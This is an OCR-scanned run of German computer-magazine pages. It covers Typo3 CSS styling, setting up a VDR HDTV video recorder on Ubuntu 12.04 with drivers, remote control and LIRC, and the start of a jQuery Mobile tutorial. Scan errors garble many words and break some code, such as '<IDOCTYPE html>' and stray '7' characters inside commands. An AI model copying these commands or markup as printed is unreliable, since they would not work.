Der Spielplan fur die neue Saison steht jetzt fest und in

der Download Section zum Abruf als PDF und Excel Version

bereit. Bitte beim Ausdrucken bericksichtigen:
Erganzungen oder Anderungen im Spielplan werden wie
bislang grundsatzlich nur online vertffentlicht.
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» Cache
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Bearbeitungssymbaole anzeigen

Bearbeitungsleiste anzeigen
O Eingabeformular aufWehseite
[ keine Popup-Fenster

die vordefinierten Blockformate
und Textstile verwendet und das
CSS angepasst. Bilder legen Sie
mit dem Upload-Tool in file-
admin oder einem Unterver-
zeichnis ab und mit den Optio-
nen unter ,Erscheinungsbild”
konnen Sie diese einfach per
Klick positionieren. Bereits ange-
legte Inhaltselemente kann der
Redakteur spater fur schnellere
Anderungen mit dem Bearbei-
tungssymbol oder einer Leiste er-
reichen.

Formatieren mit CSS

Um das Ergebnis optimal anzu-
passen, sollten Sie die vom
Typo3 CSS Styled Content ver-
wendeten Klassen in die eigene
CSS Datei ibernehmen und ent-
sprechend abandern. Die CSS-
Datei kdnnen Sie tber das Datei-
Tool auch direkt im Backend be-
arbeiten. Dies sind beispielswei-
se die verwendeten Styles und
Klassen fir das textpic-Objekt:

- .csc-default fir das gesamte text-

pic-Objekt,

(C)opyright 2812, MeinVersin

Das Ergebnis des ersten Teils des Typo3-Projekts
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Das Admin-
Panel von
Typo3 ist das
Werkzeug zur
Bearbeitung
der Website
im Frontend.

— «sc-header fiir die Uberschrift,

— .csc-textpic-image fur das Bild,

— .csc-textpic-caption  fur die  Bild-
unterschrift,

- bodytext fir den begleitenden
Text,

— .detail, .important, .name-of-person als
Textstile,

— osc-textpic-clear als Platzhalter
nach einem textpic-Objekt.

Am besten arbeiten Sie zur Opti-

mierung mit dem erzeugten

Quellcode der HTML-Datei und

Ubernehmen die betreffenden

Klassen in die eigene CSS-Datei

mit den gewtinschten Definitio-

nen von Farbe, GréBe, Schriftart,

Position und Rahmen. Eine voll-

standige Auflistung aller verwen-

deten Klassen finden Sie auch in

der Typo3-Installation auf dem

Webserver im typo3-Verzeichnis

in typo3/sysext/css_styled_con-

tent/static/v4.5/setup.txt.

Ausblick

Die  Grundeinrichtung von
Typo3 wadre hiermit erledigt;
eine erste Seite steht. Seine Star-
ken kann ein CMS dieser GroRe
naturlich erst ausspielen, wenn
eine groBBere Website mit vielen
Seiten entstehen soll. Ein Artikel
in einer der kommenden Ausga-
ben wird sich eingehend mit
den Moglichkeiten von Typo-
Script beschéftigen: grafische
Elemente, Navigation, Formula-
re und Suchfunktionen sowie Er-
weiterungen fir News und Ka-
lender. (rzl)

Literatur

[1] Kai Laborenz, Andrea Ertel, Con-
tent-Konig, Einstieg in das Con-
tent-Management-System Typo3,
c't12/09,S. 166
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Mirko Dolle

Fernsehkonservator

Ubuntu 12.04 LTS als digitaler HDTV-Videorecorder

Durch den langen Supportzeitraum von fiinf Jahren eignet sich Ubuntu 12.04 LTS gut als Basis
fur einen selbstgebauten digitalen HD-Videorecorder mit VDR. Wir zeigen Ihnen, worauf Sie

bei der Einrichtung achten missen.

in digitaler Videorecorder verspricht

Fernsehvergniigen pur: Nie wieder ab-
hetzen, um nicht den Anfang eines Spielfilms
zu verpassen, lastige Werbeunterbrechun-
gen schrumpfen im Schnellvorlauf auf weni-
ge Sekunden zusammen und die Serien lan-
den fein sauberlich geschnitten im Archiv. All
dies lasst sich mit VDR unter Ubuntu 12.04
LTS mit ein wenig Konfigurationsarbeit um-
setzen.

Das Konzept von VDR unterscheidet sich
deutlich von Mediacenter-Software wie
Windows Media Center, MythTV oder XBMC.
VDR ist daflir gedacht, den gesamten Rech-
ner in einen digitalen Receiver inklusive Vi-
deorecorder zu verwandeln, der sein Bild auf
einem Fernseher anzeigt und mit einer Fern-
bedienung gesteuert wird. Wer méchte,
kann den Videorecorder zudem noch als lo-
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kalen Fileserver nutzen oder darlber gele-
gentlich im Internet surfen, darf dann aber
VDR-Funktionen wie das automatische Ab-
schalten des Rechners bei Inaktivitat nicht
verwenden. Das zentrale Design von VDR ist
aber, den Rechner als Settop-Box zum Fern-
sehen und zum Aufzeichnen von Sendungen
zu verwenden.

VDR kann bis zu vier DVB-Empfanger
gleichzeitig ansteuern und pro DVB-Empfan-
ger mindestens einen Sender aufzeichnen.
Gleichzeitig konnen Sie eine Aufzeichnung
abspielen, auch Timeshift beherrscht VDR.
Zudem bietet VDR die Méglichkeit, Aufzeich-
nungen verlustfrei zu schneiden.

Die Systemvoraussetzungen fir den Be-
trieb sind gering: Neben einem handelsubli-
chen PC bendtigen Sie lediglich noch einen
oder mehrere DVB-Empfanger ab 30 Euro.

In [1] finden Sie eine Liste von Linux unter-
stutzter DVB-Empfanger fir Satellit, Kabel
und DVB-T.

Gut vorbereitet

Als Ausgangsbasis fur den Selbstbau-Video-
recorder verwenden wir eine herkémmliche
Installation von Ubuntu 12.04 LTS. Durch den
langen Supportzeitraum von finf Jahren und
ihre gute Hardwareunterstiitzung empfiehlt
sich diese Linux-Distribution besonders.
Zudem unterstitzt VDR 1.7.22 aus dem Re-
pository von Ubuntu 12.04 erstmals offiziell
HDTV. Wenn Sie Ubuntu neu installieren,
sollten Sie den Standardbenutzer vdr nen-
nen und auBBerdem die automatische Anmel-
dung beim Systemstart auswahlen - auf
diese Weise ersparen Sie sich spater etliche
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Rechte-Probleme beim Bearbeiten von Kon-
figurationsdateien.

VDR zdhlt nicht zu den Basispaketen von
Ubuntu 12.04, Sie missen das Programm
daher Uber die Paketverwaltung nachinstal-
lieren. Dabei empfehlen wir Ihnen, nicht das
Ubuntu Software Center, sondern das Pro-
gramm Synaptic oder aber apt-get im Termi-
nal zu nutzen - das Software Center verwen-
det Filter, sodass Sie nicht alle verfigbaren
Pakete angezeigt bekommen. Bei Synaptic
und apt-get im Terminal gibt es dieses Pro-
blem nicht.

Vor der Installation von VDR sollten Sie
sich fur eine von zwei Moglichkeiten ent-
scheiden, wie Sie das Fernsehbild angezeigt
bekommen wollen. Die einfachste Lésung
ist, die Grafikkarte lhres Rechners einzuset-
zen - dann bendtigen Sie das Xineliboutput-
Plug-in fur VDR und das Ausgabeprogramm
vdr-sxfe. Allerdings weist vdr-sxfe noch eini-
ge Stabilitatsprobleme auf, weshalb das Bild
gelegentlich einfrieren kann, das Menu nicht
korrekt dargestellt wird oder das Programm
absturzt.

Eine duBerst stabile Losung zum Fernse-
hen mit VDR ist die Bildausgabe uber eine
DVB-Empfangskarte mit integriertem Deco-
der. Bei PAL-Fernsehen, also ohne HDTV, be-
nétigen Sie dazu eine sogenannte Premium-
oder Full-Featured-Karte, die es bereits ab 20
Euro bei [2] gibt. Fur die Ansteuerung mit
VDR ist das Plug-in vdr-dvbsddevice zustan-
dig. Um in den Genuss von HDTV zu kom-
men, mussen Sie 220 Euro fir die DVB-Karte
Premium-HD S2-6400 von Technotrend aus-
geben, das daflir zusténdige Plug-in ist
Dvbhddevice.

Da Sie fur jede der Ausgabeformen ein
VDR-Plug-in benotigen, empfehlen wir, VDR
Uber die Abhangigkeiten des jeweiligen
Plug-ins zu installieren - bei Xineliboutput
wirden Sie also nur das Paket vdr-plugin-
xineliboutput Giber Synaptic oder im Termi-
nal nachinstallieren, das VDR-Hauptpaket
wirde als Abhangigkeit des Plug-ins auto-
matisch mit installiert.

Bei der Einrichtung des VDR-Pakets erfragt
die Paketverwaltung unter anderem das Ver-
zeichnis fur die Videos, Standard ist
/var/lib/video.00, und wie Sie das Fernseh-
signal empfangen - letzteres dient dazu,
eine Standard-Kanalliste fur DVB-S, DVB-C
oder DVB-T anzulegen. Die Kanalliste
/var/lib/vdr/channels.conf konnen Sie spater
mit einem Editor sortieren und durch Kanal-
listen aus dem VDR-Wiki (siehe c't-Link) er-
ganzen - nicht zuletzt, um einen Mischbe-
trieb aller drei Empfangswege zu ermdogli-
chen. Sie mussen allerdings darauf achten,
dass VDR nicht lauft, wahrend Sie die Konfi-
gurationsdatei bearbeiten.

Als eine der Abhangigkeiten wird auf3er-
dem der LIRC-Daemon installiert, weshalb
die Paketverwaltung auch nach dem ver-
wendeten IR-Empfanger fragt. Wahlen Sie
hier zunachst ,None”, die LIRC-Einrichtung
erfolgt spater.

Damit VDR Uberhaupt startet, miissen Sie
unter Ubuntu 12.04 die Datei /etc/default/vdr
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editieren und dort die Variable ENABLED auf
1 setzen. Zum Starten und Beenden von VDR
benutzen Sie spater das Init-Skript /etc/
init.d/vdr - einen entsprechenden Upstart-
Job gibt es derzeit noch nicht.

Monitor als Fernseher

Um Ihren Monitor zum Fernseher umzufunk-
tionieren, installieren Sie das VDR-Plug-in
Xineliboutput, die zugehérige Bibliothek so-
wie das Frontend-Programm vdr-sxfe, das im
Paket xineliboutput-sxfe steckt:

sudo apt-get install vdr-plugin-xineliboutput 7
xineliboutput-sxfe

Wie im vorangegangenen Abschnitt be-
schrieben, wird VDR als eine der Abhangig-
keiten mitinstalliert. Zudem sollten Sie noch
die Puffer zum Dekodieren des HDTV-
Bildmaterials in der Konfigurationsdatei
/var/lib/vdr/plugins/xineliboutput/config an-
passen, hier die Werte:

media.xvdr.num_buffers_hd:4000
media.xvdr.scr_tuning_step:150
engine.buffers.audio_num_buffers:500
engine.buffers.video_num_buffers:1000
engine.buffers.video_num_frames:22

Haben Sie VDR uber das Init-Skript gestartet,
mussen Sie noch das Frontend-Programm
vdr-sxfe starten. Dass der Ton via Alsa ausge-
geben werden soll, missen Sie dem Pro-
gramm separat mitteilen:

vdr-sxfe --audio=alsa

Ohne Angabe des Audio-Parameters bleibt
vdr-sxfe stumm. Fir die Ausgabe von Fern-
sehsendern im PAL-Format stellt vdr-sxfe
keine besonderen Anforderungen, mit dem
Programm TV-Time kdnnen Sie die Bildquali-
tat jedoch noch etwas verbessern. Dazu
installieren Sie das Paket tvtime nebst Ab-
hangigkeiten nach und rufen vdr-sxfe kinf-
tig mit folgendem zusatzlichen Parameter
auf:

--post tvtime:method=Linear,cheap_mode=1, 7
pulldown=0,use_progressive_frame_flag=1

Der Einfachheit halber empfehlen wir Ihnen,
fur den Aufruf von vdr-sxfe ein Skript anzule-
gen, in dem Sie die beiden Parameter fest
eintragen. Damit das Programm sofort im
Vollbildmodus startet, konnen Sie zudem
noch den Parameter --fullscreen erganzen.

Die Bedienung von vdr-sxfe ist nicht wei-
ter schwierig: Via Doppelklick auf das Fern-
sehbild maximieren Sie das Fenster oder
kehren aus dem Vollbildmodus zum Fenster
zurtick. Mit der Escape-Taste beenden Sie
vdr-sxfe. Dartber hinaus erlaubt lhnen
vdr-sxfe auch, VDR uber die PC-Tastatur
zu steuern. Dazu miussen Sie die Datei
/var/lib/vdr/remote.conf anlegen und dort
die aufgelisteten Tastendefinitionen eintra-
gen. Nach einem Neustart von VDR lasst sich
das Programm dann aus dem Fernsehfenster
heraus bedienen.

Das Dekodieren von HDTV-Bildmaterial
ohne jegliche Hardwareunterstiitzung erfor-
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dert jedoch einige Rechenleistung, ein Dual-
Core-Prozessor ab 2,5 GHz Taktfrequenz sollte
es schon sein. Als Alternative lasst sich Nvidias
VDPAU (Video Decode and Presentation API
for Unix) einsetzen, allerdings ist dafiir eine
Nvidia-Grafikkarte neuerer Generation erfor-
derlich - Onboard-Grafikchips bieten diese Er-
weiterung meist nicht. Zudem mdssen Sie
dann das Xineliboutput-Plug-in und das Pro-
gramm Xine mit VDPAU-Unterstiitzung neu
Ubersetzen - das zu erklaren wiirde den Rah-
men des Artikels sprengen, eine Kurzanlei-
tung dazu finden Sie iber den c't-Link.

Hardware-Decoder

DVB-Empfangskarten mit integriertem Hard-
ware-Decoder sind die bewdhrte Alternative
und haben den Vorteil, dass sie das Bild ohne
Umstande direkt auf einem Fernseher ausge-
ben, weil sie Uber entsprechende Videoaus-
gange verfugen. Wer auf HDTV-Empfang ver-
zichten kann, ist mit einer glinstigen DVB-
Premium-Karte flir 20 Euro schon gut be-
dient. Allerdings Uberfordern die heute
Gblichen Datenraten der Satellitensender,
insbesondere der offentlich-rechtlichen, bei
gleichzeitigem Empfang und Wiedergabe
des Fernsehbilds den Datenbus der DVB-S-
Premium-Karten - daher sollten Sie anstelle
einer DVB-S-Karte eine mit DVB-C-Tuner kau-
fen und durch eine oder mehrere herkdmm-
liche DVB-S- oder DVB-S2-Karten ohne Hard-
waredecoder erganzen. Wenn Sie spater le-
diglich Satellitenkanale in die VDR-Kanalliste
eintragen, wird die DVB-C-Premium-Karte
nur als Ausgabegerat genutzt.

Fir die Inbetriebnahme geniigt es, das
VDR-Plug-in Dvbsddevice liber die Paketver-
waltung zu installieren, die VDR-Pakete wer-
den automatisch aufgrund der Abhangigkei-
ten mitinstalliert:

sudo apt-get install vdr-plugin-dvbsddevice

XKeySym.Up Up
XKeySym.Down Down
XKeySym.Menu Tab
XKeySym.0k Return

XKeySym.Back BackSpace
XKeySym.Left Left
XKeySym.Right Right
XKeySym.Red F1
XKeySym.Green F2
XKeySym.Yellow F3
XKeySym.Blue F4
XKeySym.0 0
XKeySym.1 1
XKeySym.2 2
XKeySym.3 3
XKeySym. 4 4
XKeySym.5 5
XKeySym. 6 6
XKeySym.7 7
XKeySym.8 8
XKeySym.9 9
XKeySym.Volume+ Prior
XKeySym.Volume- Next
XKeySym.Mute F10
XKeySym.Power F12

Damit vdr-sxfe die Tastaturkommandos
an VDR weiterleitet, miissen Sie die
Tastenbelegung in der Datei remote.conf
festlegen.
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Nachdem Sie VDR gestartet haben, bekom-
men Sie Bild und Ton tiber den am Videoaus-
gang der DVB-Premium-Karte angeschlosse-
nen Fernseher.

Die Inbetriebnahme der Premium-HD-
Karte von Technotrend, mit der Sie auch
HDTV empfangen kénnen, ist sehr viel auf-
wendiger: Der Standardkernel von Ubuntu
enthdlt nicht die notwendigen Treiber, diese
finden Sie derzeit nur in den Quellen des
Video4Linux-Projekts. Um diese Treiber zu
Ubersetzen, bendtigen Sie zumindest die
Header-Dateien lhres aktuell genutzten Ker-
nels, sie gehoren zum Standardinstallations-
umfang von Ubuntu 12.04, sowie die Pakete
build-essential und libproc-processtable-
perl. Zudem miissen Sie die Quellcodever-
waltung Mercurial installieren, zu der das
Programm hg gehért. Mit diesem rufen Sie
die aktuellen Quellen aus dem Video4Linux-
Repository ab:

hg clone http://linuxtv.org/hg/~endriss/ 7
media_build_experimental

AnschlieBend wechseln Sie in das Verzeich-
nis media_build_experimental und tberset-
zen die Quellen mit folgenden Befehlen:

make download
make untar
make

make install

Der letzte Schritt sorgt dafr, dass die experi-
mentellen DVB-Treiber aus dem Video4Linux-
Repository in das Modulverzeichnis lhres
Rechners kopiert werden. Fiir die Inbetrieb-
nahme der Premium-HD-Karte benétigen Sie
nun noch die Firmware sowie den zugehori-
gen Firmware-Loader, die Sie als Zip-Archive
auf der Homepage von Andreas Regel finden.
Wir haben |hnen die URLs der drei Zip-Datei-
en in den c't-Links zusammengestellt. Laden
Sie die Archive herunter und entpacken Sie
sie im Verzeichnis /lib/firmware. Da es recht
muhsam ist, die einzelnen Module von Hand
zu laden, starten Sie nun am besten den
Rechner neu.

Jetzt erst erfolgt die Installation von VDR,
wie gehabt Gber die Abhangigkeiten des fur
die Ausgabe erforderlichen Plug-ins vdr-
dvbhddevice:

sudo apt-get install vdr-plugin-dvbhddevice

Betreibt man die Premium-HD-Karte unmittel-
bar an einem LNB, kann es vorkommen, dass

Die Tastenbelegung der Fernbedienung erfragt VDR beim nachsten Start

automatisch ab.

die Karte bei diversen Kanalen aus dem High-
Band keinen Empfang bekommt, wahrend die
HDTV-Kanéle einwandfrei funktionieren. Dies
kann an einem Frequenz-Drift des LNB liegen,
hier ist die Premium-HD-Karte besonders kri-
tisch. Abhilfe bringt es, in der VDR-Konfigura-
tionsdatei /var/lib/vdr/setup.conf die Grenzfre-
quenz fur das High-Band um 5 MHz zu senken:

LnbFrequHi = 10595

Dieser Workaround wirkt sich auf Satelliten-
anlagen mit Multischaltern nicht negativ aus,
insofern sollte man die Anderung gleich bei
der Installation vornehmen, um nicht spater
einmal vor einem Empfangsproblem zu ste-
hen.

Fernbedient

Gehort zu einem der DVB-Empfanger eine
Fernbedienung mit IR-Empfédnger, ist die Ein-
richtung schnell erledigt: Diese Empfanger
werden unter Linux Ublicherweise als Input-
Devices (/dev/input/eventX) dhnlich einer
Tastatur eingebunden. Fir die Vermittlung
an VDR sorgt das VDR-Plug-in Remote aus
dem Paket vdr-plugin-remote.

Als Erstes muss das Remote-Plug-in lhrer
Fernbedienung erlernen, weshalb VDR beim

Taste Menii-Navigation Live-TV Wiedergabe

Menii (Tab) Menii schlieen Menii 6ffnen Menii 6ffnen

Riicktaste vorherige Meniiebene Wiedergabe beenden

Ok (Enter) Meniipunkt auswéhlen Kanal-Info einblenden Statusanzeige ein-/ausblenden

auf Navigation nachster Kanal

ab Navigation vorheriger Kanal Pause/Wiedergabe

links Wert verandern nachste Kanalgruppe Vorlauf

rechts Wert veréndern vorherige Kanalgruppe Riicklauf

rot (F1) siehe Menii Aufzeichnungsmenii zu Position springen

griin (F2) siehe Menii Audio-Menii (Sprache) 1 Minute zuriick

gelb (F3) siehe Menii Programmfiihrer (EPG) 1 Minute vor

blau (F4) siehe Menii Wiedergabe fortsetzen Wiedergabe beenden
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ndchsten Start nacheinander alle fiir die Be-
dienung nétigen Tasten abfragt. Das Ergeb-
nis speichert das Programm in der Datei
/var/lib/vdr/remote.conf.

Besitzt Ihr VDR-Rechner noch eine serielle
Schnittstelle, sollten Sie statt des Remote-
Plug-ins und des mitgelieferten Infrarot-Emp-
fangers lhrer DVB-Karte lieber einen Selbst-
bau-IR-Empfanger verwenden - dieser ist den
Fertiglosungen bei Reichweite, Empfindlich-
keit und Flexibilitat um Langen tberlegen.

Die daflr notige Schaltung besteht aus
nur finf Bauteilen: Einem IR-Empfénger
TSOP-1738, einem Festspannungsregler,
einem Widerstand, einer Diode und einem
Kondensator (Schaltplan siehe c't-Link). Wer
Uber ein Minimum an Létgeschick verflgt,
baut die Schaltung gemaR dem Schaltplan
(siehe c't-Link) in zehn Minuten selbst auf. Al-
ternativ gibt es bei [2] fertige Empfanger fur
knapp 6 Euro.

Das IR-Empfangsmodul der Empfanger-
schaltung leitet das (serielle) Infrarotsignal
jeder Fernbedienung ungefiltert an die
DCD-Leitung der seriellen Schnittstelle wei-
ter, Uber die es der LIRC-Daemon verarbei-
tet. Der Clou ist, dass LIRC zusammen mit
dem Selbstbau-IR-Empfanger mit jeder han-
delsublichen Infrarotfernbedienung gesteu-
ert werden kann, wahrend die IR-Empfén-
ger der DVB-Karten lediglich die Tastendru-
cke der mitgelieferten Fernbedienung de-
kodieren.

Dafur ist die Einrichtung von LIRC recht
aufwendig, weil der Daemon zundachst das
Kodierverfahren der Fernbedienung erken-
nen und dann den Code jeder einzelnen
Taste erlernen muss, bevor Sie LIRC mit VDR
verwenden kénnen. Los geht es damit, dass
Sie nach Eingabe von

sudo dpkg-reconfigure lirc

den LIRC-Empfénger ,Home-brew” und die
korrekte Schnittstelle auswahlen. Erkennt
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das fur den Empfénger zustandige Kernel-
Modul lirc_serial Ihren IR-Empfanger korrekt,
finden Sie folgende Meldung in der Syslog-
Datei /var/log/syslog:

lirc_serial: auto-detected active low receiver

Meldet lirc_serial stattdessen einen ,active
high receiver”, liegt entweder ein Schal-
tungsfehler vor oder das Modul greift auf die
falsche Schnittstelle zu. Welche Schnittstelle
lirc_serial verwendet, legen Sie tiber Modul-
parameter fest, Beispiele dafur finden Sie
unter Ubuntu 12.04 in der Datei /etc/mod-
probe.d/lirc-serial.conf.

Funktioniert der IR-Empfanger, lassen Sie
LIRC die Fernbedienung erlernen. Es sind
mehrere verschiedene Kodierverfahren ge-
bréuchlich, das wohl bekannteste ist RC-5,
das von Philips entwickelt wurde und bei
vielen Marken-HiFi-Gerdten zum Einsatz
kommt. Das Programm irrecord versucht, an-
hand verschiedener Tastendriicke auf der
Fernbedienung das Kodierverfahren zu er-
mitteln, zudem ist es fiir die Zuordnung von
Code und Taste zustandig.

Nach dem Aufruf von irrecord werden Sie
zundchst aufgefordert, nacheinander mehre-
re verschiedene Tasten zu driicken und fiur
etwa eine Sekunde festzuhalten. Konnte irre-
cord das Kodierungsverfahren ermitteln, be-
ginnt die eigentliche Anlernphase, wahrend
der Sie zundchst Uber die Tastatur den
Namen der Taste eingeben und dann die zu-
gehorige Taste fir etwa eine Sekunde dri-
cken. Wir empfehlen, fur die Tasten Klarna-
men wie ,Power”, ,Play”, ,Red”, ,Green"” oder
auch ,0" zu verwenden.

Die Lernphase endet, wenn Sie keine Tas-
tenbezeichnung mehr eingeben. Die Konfi-
gurationsdaten speichert irrecord im aktuel-
len Verzeichnis in der Datei lircd.conf. Diese
Datei kopieren Sie ins Verzeichnis /etc/lirc.
Beim ndachsten Start erkennt VDR automa-
tisch, dass eine LIRC-Fernbedienung vorhan-

den ist, und beginnt genau wie beim Remo-
te-Plug-in mit der Lernphase.

Couch-Ubuntu

An die Steuerung von VDR via Fernbedie-
nung gewdhnt man sich schnell: Ins Menu
gelangen Sie stets mit der Menutaste (Tasta-
tur: Tabulator), driickt man die Taste erneut,
schlief3t sich das Menl wieder. Fir die Navi-
gation benutzt man die Richtungstasten, Ok
oder die Enter-Taste wédhlen den gerade mar-
kierten Eintrag aus. Die Rucktaste bringt Sie
stets eine Ebene zurilick, im Hauptmeni an-
gelangt schliet sie das Mend.

In den meisten Menus blendet VDR am
unteren Bildrand vier farbige Balken mit un-
terschiedlicher Beschriftung ein - im Haupt-
menl zum Beispiel ,Aufnehmen” im roten
Balken, um die aktuell laufende Sendung mit
einem Tastendruck aufzuzeichnen. Diese

VDR bietet eine verlustfreie Schnittfunktion, die Aufnahmen von etwaigen Resten der
vorherigen oder folgenden Sendung befreit und Werbeblocke entfernt.
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Die Bedienung von
VDR erfolgt Gber
das Onscreen-Meni,
am unteren Rand ist
jeweils die Funktion
der vier Farbtasten
eingeblendet.

Funktionen werden bei der Tastatur tber die
Tasten F1 bis F4 angesprochen. Eine Uber-
sicht der wichtigsten Tastenfunktionen in
den drei Betriebsmodi Menu-Navigation,
Live-TV und Wiedergabe finden Sie in der Ta-
belle auf Seite 170.

Bei der Wiedergabe einer Aufzeichnung
steuern Sie mit den Zifferntasten die Schnitt-
funktion von VDR. Im Gegensatz zum her-
kommlichen Filmschnitt, bei dem uner-
wiinschte Passagen aus dem Film entfernt
werden, legt VDR eine Kopie der Aufzeich-
nung an, die nur noch die erwiinschten Teile
enthdlt. Welche das sind, legen Sie mit
Schnittmarken fest. Dazu blenden Sie zu-
nachst mit Ok oder Enter die Statusanzeige
ein und setzen wahrend der Wiedergabe mit
der Taste 0 eine Schnittmarke, wenn ein Wer-
beblock beginnt, und wieder 0, wenn die
Sendung weiter geht. Mit den Tasten 7 und
9 springen Sie zur vorherigen oder ndchsten
Schnittmarke und kénnen sie mit 4 und 6 um
ein Vollbild (Keyframe) nach vorne oder hin-
ten verschieben. Da der Schnitt stets an
einem Keyframe erfolgt, muss der Videoda-
tenstrom nicht neu kodiert werden, sodass
keine Kompressionsverluste entstehen.

Die senkrechten Striche in der Zeitleiste
symbolisieren die Schnittmarken, die gerade
ausgewahlte Schnittmarke wird durch ein
rotes Dreieck oben oder unten markiert - je
nachdem, ob es sich um eine Anfangs- oder
Endmarke handelt. Der Bereich zwischen
einer Anfangs- und Endmarke wird spater
kopiert, wenn Sie mit 2 den Schneidevor-
gang starten. In der Aufzeichnungsliste er-
kennen Sie solche Schnittfassungen daran,
dass sie ein Prozentzeichen (symbolisiert
eine Schere) vor dem Namen tragen.  (mid)

Literatur

[1] Mirko Dolle, Pixelfanger, Aktuelle DVB-Karten
und TV-Sticks unter Linux einrichten, c't 19/11,
S.156

[2] DVB-Shop: dvbshop.net

www.ct.de/1215168
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Gerhard Volkl

Von der Website zur App

Web-Apps fiir mobile Geridte erstellen mit jQuery Mobile

Mit jQuery Mobile gelingen Apps, die
auf Smartphones aussehen, wie man
esvon der jeweiligen Plattform
gewohnt ist - und das nur mit HTML,
CSS und JavaScript.

E in guter Bekannter betreibt eine Websei-
te mit aktuellen Informationen aus der
Region. Bei der Analyse der Zugriffsstatisti-
ken fiel ihm auf, dass immer mehr Leute mit
ihren Smartphones auf seine Seiten zugrei-
fen. Deshalb wiinschte er sich eine App, die
auf Android-Gerdten, iPhones sowie mog-
lichst noch Windows Phones und Blackberrys
gleichermaBen lauft. Weiterhin wollte er
seine Webseiten mit PHP und Javascript
selbst erstellen und nicht eine Horde Soft-
wareentwickler beschaftigen, die mit platt-
formspezifischen  Entwicklungsumgebun-
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gen, Tools und Programmiersprachen die
App fir jede Plattform neu schreiben.

Auf der Suche nach einer Losung gerieten
wir an jQuery Mobile, eine JavaScript-Biblio-
thek, die zu der Problemstellung passt.
Damit lassen sich Oberflaichen zusammen-
bauen, die vom Bediengefiihl sehr nahe an
Apps herankommen und keine zusatzliche
Software benétigen, mit der einige Gerate so
ihre Problemchen haben (lies: Adobe Flash).
Ein weiteres Plus: Der gesamte bereits fr die
Website programmierte JavaScript-Code liel3
sich weiter verwenden.

jQuery Mobile (aktuell Version 1.1) setzt
auf das bekannte JavaScript-Framework
jQuery (Version 1.7.1) auf, das gangige Web-
Programmiertatigkeiten Giber verschiedenste
Browser hinweg vereinheitlicht und verein-
facht. Daher kann man mit jQuery Mobile
alles tun, was man mit jQuery tun kann. Man
bekommt aber zusétzlich Oberflachen, die

aussehen, wie sie der Anwender von seinem
Smartphone gewohnt ist, und die sich genau
so bedienen lassen, etwa durch Beriihrung
oder Gesten.

Applikation

Eine App besteht fiir jQuery Mobile aus be-
liebig vielen Seiten, zwischen denen der An-
wender gemal Programmlogik hin- und her-
wechseln kann. Die Beispiel-App fiir diesen
Artikel ist eine einfache Orakel-Software, in
die man eine Frage eingibt und eine (mehr
oder weniger) passende Antwort zuriickbe-
kommt. Sie steht unter dem c't-Link am Arti-
kelende zum Download bereit. Dartiber er-
reichen Sie auch einen Link, tiber den Sie die
App direkt ausprobieren konnen.

Die erste Entscheidung, die der App-Erstel-
ler treffen muss: Will er alle Informationen zu
allen Seiten (Pages) in einer HTML-Datei spei-
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chern oder fiir jede Seite eine eigene erstellen.
jQuery Mobile unterstitzt beide Vorgehens-
weisen. Fur kleinere Webanwendungen ist es
durchaus sinnvoll, alles in eine Datei hineinzu-
nehmen. Bei gréfBeren ist man mit dem alten
Romermotto ,Teile und herrsche” besser be-
dient, je Page eine Datei einzurichten.

Seitenaufbau

Jede HTML-Datei in jQuery Mobile sollte mit
folgender Zeile beginnen:

<IDOCTYPE html>

Dies sagt nichts anderes, als dass die Seite
den neuen HTML5-Standard verwenden will.
Viele Browser nehmen grundsatzlich diese
Version und ignorieren diesen Eintrag. Bei
“anderen, beispielsweise dem Microsoft Inter-
net Explorer, kommt es ohne diese Zeile mit-
unter zu unerfreulichen Seitendarstellungen.

Wie bei HTML Ublich, besteht jede Seite
aus den grundsétzlichen Definitionen im
<head>-Element und den eigentlichen Infor-
mationen im <body>. Die erste Anweisung im
<head>-Bereich:

<meta name="viewport"
content="width=device-width, initial-scale=1">

fordert den Browser auf, die Breite der Seite in
die Bildschirmbreite einzupassen, also nicht
mit virtuellen Seiten zu arbeiten, sowie die an-
fangliche Zoom-Stufe auf 1 einzustellen.

Die restlichen Zeilen im Header-Bereich
binden das jQuery-Mobile-Stylesheet und die
dazugehérigen JavaScript-Bibliotheken ein.
Falls etwas dagegen spricht, per Link auf diese
Dateien zuzugreifen, kann man sie auch auf
den eigenen Server herunterladen und von
dort aus einbinden. jQuery Mobile verlangt

Geben Sie hier die Frage ein, die Sie
dem Orakel stellen wollen

keinerlei Zugriffsschliissel oder einen be-
stimmten Ausfuhrungsort, wie es bei einigen
anderen JavaScript-Frameworks der Fall ist.

Den Aufbau einer Bildschirmseite be-
schreibt jQuery Mobile lber <div>-Elemente.
Das Element mit dem Attribut data-role="page"
bildet die Klammer um eine komplette Seite.
Das ,data-” im Namen des Attributs hat
nichts mit Datenverwaltung oder Ahnlichem
zu tun. Es ist die offizielle Empfehlung von
HTMLS5, dass alle Nicht-Standardattribute mit
.data-" beginnen sollen, damit man sie von
anderen unterscheiden kann.

Eine Seite besteht normalerweise auf dem
Handy-Bildschirm aus einem Balken mit
Uberschrift (header), dem Inhalt (content)
und einem Balken unten (footer). Verpflich-
tend ist keiner der Blocke.

Seiteniibergange

Auchwenn eine Webseite vom Aussehen her
noch so sehr einer Handy-App ahnelt, beim
Ubergang von einer Seite auf die nichste ist
es meistens vorbei mit dem positiven Ein-
druck: Die alte Seite verschwindet und nach
einiger Zeit baut der Browser hdppchenweise
die neue Seite auf. Nicht so mit jQuery Mobile.
Das Gegenmittel heiit Ajax (Asynchronous
JavaScript and XML). Damit ladt nicht der
Browser die HTML-Datei der neuen Seite, son-
dern die aktuelle Seite per JavaScript. Dies
passiert bei jQuery Mobile ohne zusatzlichen
Programmieraufwand:

<a href="infoView.html"
data-transition="slide">Info</a>

Alle Links auf andere Seiten, die in HTML ent-
halten sind, werden von jQuery Mobile er-
kannt und durch ein Nachladen per Ajax er-

11:40

Ihre Frage:

Wie werde ich gliicklich

Ihre Frage:

Wie werde ich glicklich

Fahren Sie (iber die
weisse Flache oder
schitteln das
Handy, bis die
Antwort erscheint

Ihre Antwort:

Vorsichtist aller Laster Anfang.

Know-how | jQuery Mobile

setzt. Aus Sicherheitsgriinden (Same Origin
Policy) lassen dies viele Browser nur bei Seiten
zu, die von derselben Doméne kommen wie
die aktuelle Seite. Ist dies nicht der Fall, wird
das Laden der Seite an den Browser delegiert.

Nach dem Laden wird die neue Page dem
aktuellen DOM (Document Object Model, die
baumartige Datenstruktur im Browser mit
allen Informationen zu den Seiteninhalten)
hinzugefgt.

Dadurch kénnen durchaus zwei oder
mehrere Seiten gleichzeitig im DOM sein.
jQuery Mobile blendet die gerade benétigte
